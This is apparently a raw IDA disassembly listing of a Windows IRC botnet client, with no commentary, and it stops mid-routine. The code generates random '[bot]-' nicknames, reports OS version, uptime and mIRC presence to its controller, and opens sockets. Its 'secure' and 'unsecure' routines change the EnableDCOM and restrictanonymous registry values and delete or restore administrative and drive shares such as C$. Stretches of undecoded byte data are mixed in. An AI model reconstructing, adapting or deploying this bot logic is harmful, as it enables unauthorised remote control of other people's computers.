234C0h, 0CC988900h, 8D004450h dd 5350E045h, 0F69415FFh, 0C0850043h, 117850Fh, 0FF680000h dd 537FFFFFh, 0F69015FFh, 0C0850043h, 103850Fh, 0C8680000h dd 0C700438Ah, 0CF045h, 75890000h, 0F87589F4h, 0FF6744E8h dd 7D8959FFh, 0FC458D08h, 10FC45C7h, 50000000h, 50CC458Dh dd 0FC15FF53h, 8B0043F6h, 0FFFF83F8h, 0CA840Fh, 75FF0000h dd 8458D08h, 68086A50h, 0FFFFh, 4815FF57h, 830043F6h, 0C574FFF8h dd 0CE45B70Fh, 89B475FFh, 0FF50C875h, 15FFD075h, 43F6F4h dd 0EC858D50h, 68FFFFFBh, 438A74h, 1A20E850h, 858D0000h dd 0FFFFFBECh, 66D3E850h, 8D57FFFFh, 0FFFBEC85h, 50066AFFh dd 14B1E8h, 0B8458900h, 234C069h, 4D8B0000h, 24C483B4h dd 50C48889h, 458D0044h, 858D50DCh, 0FFFFFDECh, 7E685056h dd 8D004154h, 5056F045h, 0B24EE890h, 4D8B0225h, 34C969B8h dd 3B000002h, 0D48189C6h, 74004450h, 0C8753913h, 0FF37850Fh dd 326AFFFFh, 0ABEFE890h, 0EDEB021Eh, 0AA06E890h, 68500222h dd 438A28h, 0FF66D0E8h, 0EB5959FFh, 87D8B03h, 0F5FC15FFh dd 8D500043h, 0FFFBEC85h, 89E468FFh, 0E8500043h, 197Eh dd 390CC483h, 2075C475h, 0EC858D56h, 0FFFFFFFBh, 8D50C075h dd 0FFFDF085h, 0B5FF50FFh, 0FFFFFDECh, 0FF7D24E8h, 14C483FFh dd 0FBEC858Dh, 0E850FFFFh, 0FFFF6609h, 15FF5759h, 43F700h dd 15FF53h, 0FF0043F7h, 43F5C815h, 0B475FF00h, 16F5E8h dd 90565900h, 1DA997E8h, 0C0335B02h, 4244439h, 0C3C0940Fh ; =============== S U B R O U T I N E ======================================= sub_415994 proc near ; CODE XREF: sub_415CFF+49p ; DATA XREF: ___:off_438BB0o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi nop call near ptr 25F085Ah push eax call sub_417300 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_4159ED loc_4159C7: ; CODE XREF: sub_415994+57j call sub_41730A push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_4159C7 loc_4159ED: ; CODE XREF: sub_415994+31j mov eax, edi pop edi pop esi retn sub_415994 endp ; =============== S U B R O U T I N E ======================================= sub_4159F2 proc near ; CODE XREF: sub_40EE72+3E7Fp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 25F085Ah push eax call sub_417300 pop ecx call sub_41730A push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42F5C8 test esi, esi jle short loc_415A35 loc_415A1F: ; CODE XREF: sub_4159F2+41j call sub_41730A push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_415A1F loc_415A35: ; CODE XREF: sub_4159F2+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4159F2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 25F085Ah push eax call sub_417300 pop ecx lea eax, [ebp-8] mov esi, offset byte_438C0C push eax push esi call near ptr 27B0000h nop movsx eax, byte_438C0C push 41h pop ecx push 1 pop edx loc_415A7B: ; CODE XREF: ___:00415A86j cmp eax, ecx jnz short loc_415A82 mov [ebp-4], edx loc_415A82: ; CODE XREF: ___:00415A7Dj inc ecx cmp ecx, 5Bh jl short loc_415A7B push 61h pop ecx loc_415A8B: ; CODE XREF: ___:00415A96j cmp eax, ecx jnz short loc_415A92 mov [ebp-4], edx loc_415A92: ; CODE XREF: ___:00415A8Dj inc ecx cmp ecx, 7Bh jl short loc_415A8B mov edi, [ebp+8] push esi push 1Ch push edi call sub_41782A xor esi, esi add esp, 0Ch cmp dword_42F5C8, esi jle short loc_415AD7 loc_415AB1: ; CODE XREF: ___:00415AD5j call sub_41730A push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415AB1 loc_415AD7: ; CODE XREF: ___:00415AAFj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 25F085Ah nop push eax call sub_417300 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 27D02C4h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_438C10 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415B4C loc_415B26: ; CODE XREF: ___:00415B4Aj call sub_41730A push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415B26 loc_415B4C: ; CODE XREF: ___:00415B24j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43C80C mov dword ptr [ebp-94h], 94h nop call near ptr 2781533h nop call near ptr 25F085Ah push eax call sub_417300 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415BD6 cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BB6 cmp dword ptr [ebp-84h], 1 jnz short loc_415BA6 mov esi, offset a95 ; "95" loc_415BA6: ; CODE XREF: ___:00415B9Fj cmp dword ptr [ebp-84h], 2 jnz short loc_415C12 mov esi, offset aNt ; "NT" jmp short loc_415C12 ; --------------------------------------------------------------------------- loc_415BB6: ; CODE XREF: ___:00415B96j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415BC6 mov esi, offset a98 ; "98" jmp short loc_415C12 ; --------------------------------------------------------------------------- loc_415BC6: ; CODE XREF: ___:00415BBDj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_415C0D mov esi, offset aMe ; "ME" jmp short loc_415C12 ; --------------------------------------------------------------------------- loc_415BD6: ; CODE XREF: ___:00415B8Dj cmp dword ptr [ebp-90h], 5 jnz short loc_415C0D cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BEF mov esi, offset a2k ; "2K" jmp short loc_415C12 ; --------------------------------------------------------------------------- loc_415BEF: ; CODE XREF: ___:00415BE6j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415BFF mov esi, offset aXp ; "XP" jmp short loc_415C12 ; --------------------------------------------------------------------------- loc_415BFF: ; CODE XREF: ___:00415BF6j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_438C1C jz short loc_415C12 loc_415C0D: ; CODE XREF: ___:00415BCDj ; ___:00415BDDj mov esi, offset dword_42DDDC loc_415C12: ; CODE XREF: ___:00415BADj ; ___:00415BB4j ... mov edi, [ebp+8] push esi push offset dword_438C14 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415C56 loc_415C30: ; CODE XREF: ___:00415C54j call sub_41730A push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_438C04 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415C30 loc_415C56: ; CODE XREF: ___:00415C2Ej mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C5C proc near ; CODE XREF: sub_415CFF+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 25F085Ah xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_415CAB call dword_43F674 test eax, eax mov eax, offset dword_438C28 jnz short loc_415C94 mov eax, offset byte_43C80C loc_415C94: ; CODE XREF: sub_415C5C+31j push eax push esi push offset dword_438C20 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41782A add esp, 14h jmp short loc_415CCB ; --------------------------------------------------------------------------- loc_415CAB: ; CODE XREF: sub_415C5C+22j call dword_43F674 test eax, eax mov eax, offset dword_438C28 jnz short loc_415CBF mov eax, offset byte_43C80C loc_415CBF: ; CODE XREF: sub_415C5C+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4172AE pop ecx pop ecx loc_415CCB: ; CODE XREF: sub_415C5C+4Dj lea eax, [ebp+var_1C] push eax call sub_417AB0 pop ecx cmp eax, 2 pop esi jbe short loc_415CFA push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418DE0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_418C10 add esp, 18h loc_415CFA: ; CODE XREF: sub_415C5C+7Dj mov eax, [ebp+arg_0] leave retn sub_415C5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CFF proc near ; CODE XREF: sub_40EB92+7Fp ; sub_40ECFA+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_438BAC loc_415D0B: ; CODE XREF: sub_415CFF+3Fj cmp [ebp+arg_C], 0 jz short loc_415D26 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4176D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415D30 ; --------------------------------------------------------------------------- loc_415D26: ; CODE XREF: sub_415CFF+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415D30: ; CODE XREF: sub_415CFF+25j test eax, eax jnz short loc_415D42 add esi, 14h inc edi cmp esi, offset dword_438C10 jb short loc_415D0B jmp short loc_415D50 ; --------------------------------------------------------------------------- loc_415D42: ; CODE XREF: sub_415CFF+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_438BB0[eax*4] pop ecx loc_415D50: ; CODE XREF: sub_415CFF+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415D63 push [ebp+arg_0] call sub_415C5C pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415D63: ; CODE XREF: sub_415CFF+57j mov eax, [ebp+arg_0] pop ebp retn sub_415CFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D68 proc near var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43F668 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415E26 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4450CC[ecx], esi jz short loc_415E26 push [ebp+var_34] push [ebp+var_28] call dword_43F6F4 push eax mov edi, offset dword_489DE4 push offset unk_438C2C push edi call sub_4172AE push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40D679 push edi call sub_40BF6D add esp, 28h loc_415E26: ; CODE XREF: sub_415D68+5Dj ; sub_415D68+7Ej push esi call dword_43F700 pop edi xor eax, eax pop esi leave retn 4 sub_415D68 endp ; --------------------------------------------------------------------------- byte_415E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_40EE72+35E0o dd 130EC81h, 8B530000h, 5756085Dh, 0F38B2A6Ah, 50BD8D59h dd 0F3FFFFFFh, 64358BA5h, 0C7004240h, 0A083h, 100h, 0FFFF3300h dd 75FFD475h, 0F415FFE0h, 500043F6h, 0FED0858Dh, 6468FFFFh dd 5000438Ch, 142DE8h, 0D0858D00h, 68FFFFFEh, 1FFh, 0DC458B50h dd 234C069h, 0C0050000h, 5000444Eh, 2D6FE8h, 1CC48300h dd 50F8458Dh, 0FF50858Dh, 5057FFFFh, 415D6868h, 0E8575700h dd 225AC6Ch, 89C73B90h, 0B74FC45h, 75F47D39h, 0FF326A06h dd 0FFF5EBD6h, 2FE8FC75h, 900220BAh, 88B3FFh, 0BB890000h dd 0A4h, 458DD6FFh, 50046AE0h, 5008458Dh, 149BE8h, 0CC48300h dd 0FF0875FFh, 43F59C15h, 89504000h, 15FF0845h, 43F664h dd 8D084589h, 46A0845h, 0E0458D50h, 1472E850h, 0C4830000h dd 0FF3DE90Ch db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F26 proc near ; DATA XREF: sub_40EE72+5F4Do var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415F6D call sub_415F86 jmp short loc_415F72 ; --------------------------------------------------------------------------- loc_415F6D: ; CODE XREF: sub_415F26+3Ej call sub_4162AA loc_415F72: ; CODE XREF: sub_415F26+45j add esp, 10h push [ebp+var_14] call sub_417076 pop ecx push 0 call near ptr 25F0320h nop sub_415F26 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F86 proc near ; CODE XREF: sub_415F26+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43F738, edi jnz loc_4160B8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43F6D8 test eax, eax jnz short loc_416011 mov ax, word_439014 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43F68C test eax, eax jz short loc_415FF3 push offset unk_438FD4 jmp short loc_415FF8 ; --------------------------------------------------------------------------- loc_415FF3: ; CODE XREF: sub_415F86+64j push offset dword_438FA8 loc_415FF8: ; CODE XREF: sub_415F86+6Bj lea eax, [ebp+var_214] push eax call sub_4172AE pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_416024 ; --------------------------------------------------------------------------- loc_416011: ; CODE XREF: sub_415F86+36j lea eax, [ebp+var_214] push offset unk_438F68 push eax call sub_4172AE pop ecx pop ecx loc_416024: ; CODE XREF: sub_415F86+89j cmp [ebp+arg_C], edi jnz short loc_416043 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416043: ; CODE XREF: sub_415F86+A1j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43F6D8 test eax, eax jnz short loc_4160B1 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43F68C test eax, eax jz short loc_416093 push offset unk_438F08 jmp short loc_416098 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F86+104j push offset unk_438EC4 loc_416098: ; CODE XREF: sub_415F86+10Bj lea eax, [ebp+var_214] push eax call sub_4172AE pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_4160CB ; --------------------------------------------------------------------------- loc_4160B1: ; CODE XREF: sub_415F86+E2j push offset unk_438E78 jmp short loc_4160BD ; --------------------------------------------------------------------------- loc_4160B8: ; CODE XREF: sub_415F86+13j push offset unk_438E38 loc_4160BD: ; CODE XREF: sub_415F86+130j lea eax, [ebp+var_214] push eax call sub_4172AE pop ecx pop ecx loc_4160CB: ; CODE XREF: sub_415F86+129j cmp [ebp+arg_C], edi jnz short loc_4160EA push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4160EA: ; CODE XREF: sub_415F86+148j lea eax, [ebp+var_214] push eax call sub_40BF6D cmp dword_43F760, edi pop ecx jnz loc_416265 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41610D: ; CODE XREF: sub_415F86+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43F5B4 cmp eax, edi mov [ebp+var_10], eax jz short loc_4161AA cmp eax, 0EAh jz short loc_4161AA mov esi, offset off_438CA0 loc_41613E: ; CODE XREF: sub_415F86+21Dj push dword ptr [esi] push edi call sub_40DCC3 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_416155 push offset unk_438E04 jmp short loc_41615A ; --------------------------------------------------------------------------- loc_416155: ; CODE XREF: sub_415F86+1C6j push offset unk_438DC8 loc_41615A: ; CODE XREF: sub_415F86+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41618D push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41618D: ; CODE XREF: sub_415F86+1EBj lea eax, [ebp+var_214] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset dword_438CC0 jb short loc_41613E jmp loc_416242 ; --------------------------------------------------------------------------- loc_4161AA: ; CODE XREF: sub_415F86+1AAj ; sub_415F86+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_416239 loc_4161B9: ; CODE XREF: sub_415F86+2AFj mov edi, [esi] push edi call sub_41999C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41622E push edi call sub_40DBB0 push eax push 0 call sub_40DCC3 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4161E8 push offset unk_438D94 jmp short loc_4161ED ; --------------------------------------------------------------------------- loc_4161E8: ; CODE XREF: sub_415F86+259j push offset unk_438D58 loc_4161ED: ; CODE XREF: sub_415F86+260j lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416221 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416221: ; CODE XREF: sub_415F86+27Fj lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx loc_41622E: ; CODE XREF: sub_415F86+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4161B9 xor edi, edi loc_416239: ; CODE XREF: sub_415F86+22Dj push [ebp+var_8] call dword_43F6F8 loc_416242: ; CODE XREF: sub_415F86+21Fj cmp [ebp+var_10], 0EAh jz loc_41610D lea eax, [ebp+var_214] push offset unk_438D20 push eax call sub_4172AE pop ecx pop ecx pop ebx jmp short loc_416278 ; --------------------------------------------------------------------------- loc_416265: ; CODE XREF: sub_415F86+177j lea eax, [ebp+var_214] push offset unk_438CE0 push eax call sub_4172AE pop ecx pop ecx loc_416278: ; CODE XREF: sub_415F86+2DDj cmp [ebp+arg_C], edi jnz short loc_416296 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416296: ; CODE XREF: sub_415F86+2F5j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx push 1 pop eax pop edi pop esi leave retn sub_415F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162AA proc near ; CODE XREF: sub_415F26:loc_415F6Dp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43F738, ebx push esi jnz loc_4163D8 lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43F6D8 test eax, eax jnz short loc_416335 mov ax, word_4391FC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43F68C test eax, eax jz short loc_416317 push offset unk_4391C8 jmp short loc_41631C ; --------------------------------------------------------------------------- loc_416317: ; CODE XREF: sub_4162AA+64j push offset dword_43919C loc_41631C: ; CODE XREF: sub_4162AA+6Bj lea eax, [ebp+var_220] push eax call sub_4172AE pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_416348 ; --------------------------------------------------------------------------- loc_416335: ; CODE XREF: sub_4162AA+36j lea eax, [ebp+var_220] push offset unk_438F68 push eax call sub_4172AE pop ecx pop ecx loc_416348: ; CODE XREF: sub_4162AA+89j cmp [ebp+arg_C], ebx jnz short loc_416367 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416367: ; CODE XREF: sub_4162AA+A1j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43F6D8 test eax, eax jnz short loc_4163D1 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43F68C test eax, eax jz short loc_4163B3 push offset unk_439150 jmp short loc_4163B8 ; --------------------------------------------------------------------------- loc_4163B3: ; CODE XREF: sub_4162AA+100j push offset unk_43910C loc_4163B8: ; CODE XREF: sub_4162AA+107j lea eax, [ebp+var_220] push eax call sub_4172AE pop ecx pop ecx push [ebp+var_4] call dword_43F644 jmp short loc_4163EB ; --------------------------------------------------------------------------- loc_4163D1: ; CODE XREF: sub_4162AA+E2j push offset unk_4390C0 jmp short loc_4163DD ; --------------------------------------------------------------------------- loc_4163D8: ; CODE XREF: sub_4162AA+13j push offset unk_438E38 loc_4163DD: ; CODE XREF: sub_4162AA+12Cj lea eax, [ebp+var_220] push eax call sub_4172AE pop ecx pop ecx loc_4163EB: ; CODE XREF: sub_4162AA+125j cmp [ebp+arg_C], ebx jnz short loc_41640A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41640A: ; CODE XREF: sub_4162AA+144j lea eax, [ebp+var_220] push eax call sub_40BF6D cmp dword_43F760, ebx pop ecx jnz loc_41657F push edi mov esi, offset off_438CA0 mov edi, 200h loc_41642E: ; CODE XREF: sub_4162AA+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40DC17 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_416449 push offset unk_439090 jmp short loc_41644E ; --------------------------------------------------------------------------- loc_416449: ; CODE XREF: sub_4162AA+196j push offset unk_439058 loc_41644E: ; CODE XREF: sub_4162AA+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41647D push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41647D: ; CODE XREF: sub_4162AA+1B7j lea eax, [ebp+var_220] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset off_438CB0 jb short loc_41642E nop call near ptr 27D0794h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_416567 loc_4164A8: ; CODE XREF: sub_4162AA+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41655C cmp bl, 41h jz loc_41655C movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push eax call dword_43F6C8 cmp eax, 3 jnz short loc_41655C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40DC17 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41651A push offset unk_439090 jmp short loc_41651F ; --------------------------------------------------------------------------- loc_41651A: ; CODE XREF: sub_4162AA+267j push offset unk_439058 loc_41651F: ; CODE XREF: sub_4162AA+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41654F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41654F: ; CODE XREF: sub_4162AA+289j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx loc_41655C: ; CODE XREF: sub_4162AA+206j ; sub_4162AA+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_4164A8 loc_416567: ; CODE XREF: sub_4162AA+1F8j lea eax, [ebp+var_220] push offset unk_439018 push eax call sub_4172AE pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_416592 ; --------------------------------------------------------------------------- loc_41657F: ; CODE XREF: sub_4162AA+173j lea eax, [ebp+var_220] push offset unk_438CE0 push eax call sub_4172AE pop ecx pop ecx loc_416592: ; CODE XREF: sub_4162AA+2D3j cmp [ebp+arg_C], ebx jnz short loc_4165B0 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4165B0: ; CODE XREF: sub_4162AA+2EBj lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4162AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C4 proc near ; CODE XREF: ___:0041562Dp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_416715 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4450CC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4240A0 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4168E7 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_41662F nop call near ptr 264030Ch push eax push offset dword_439244 call sub_40BFE1 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_416669 ; --------------------------------------------------------------------------- loc_41662F: ; CODE XREF: sub_4165C4+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_416999 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_416670 call near ptr 264030Ch nop push eax push offset dword_439244 call sub_40BFE1 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 27C0AC6h nop loc_416669: ; CODE XREF: sub_4165C4+69j xor eax, eax jmp loc_416710 ; --------------------------------------------------------------------------- loc_416670: ; CODE XREF: sub_4165C4+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27D0AFAh sub eax, ebx jz short loc_4166CA dec eax jz short loc_4166C4 dec eax jz short loc_4166B0 nop call near ptr 264030Ch push eax push offset dword_439200 call sub_40BFE1 pop ecx pop ecx jmp short loc_4166DF ; --------------------------------------------------------------------------- loc_4166B0: ; CODE XREF: sub_4165C4+D5j mov edi, dword_424168 push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4166DF ; 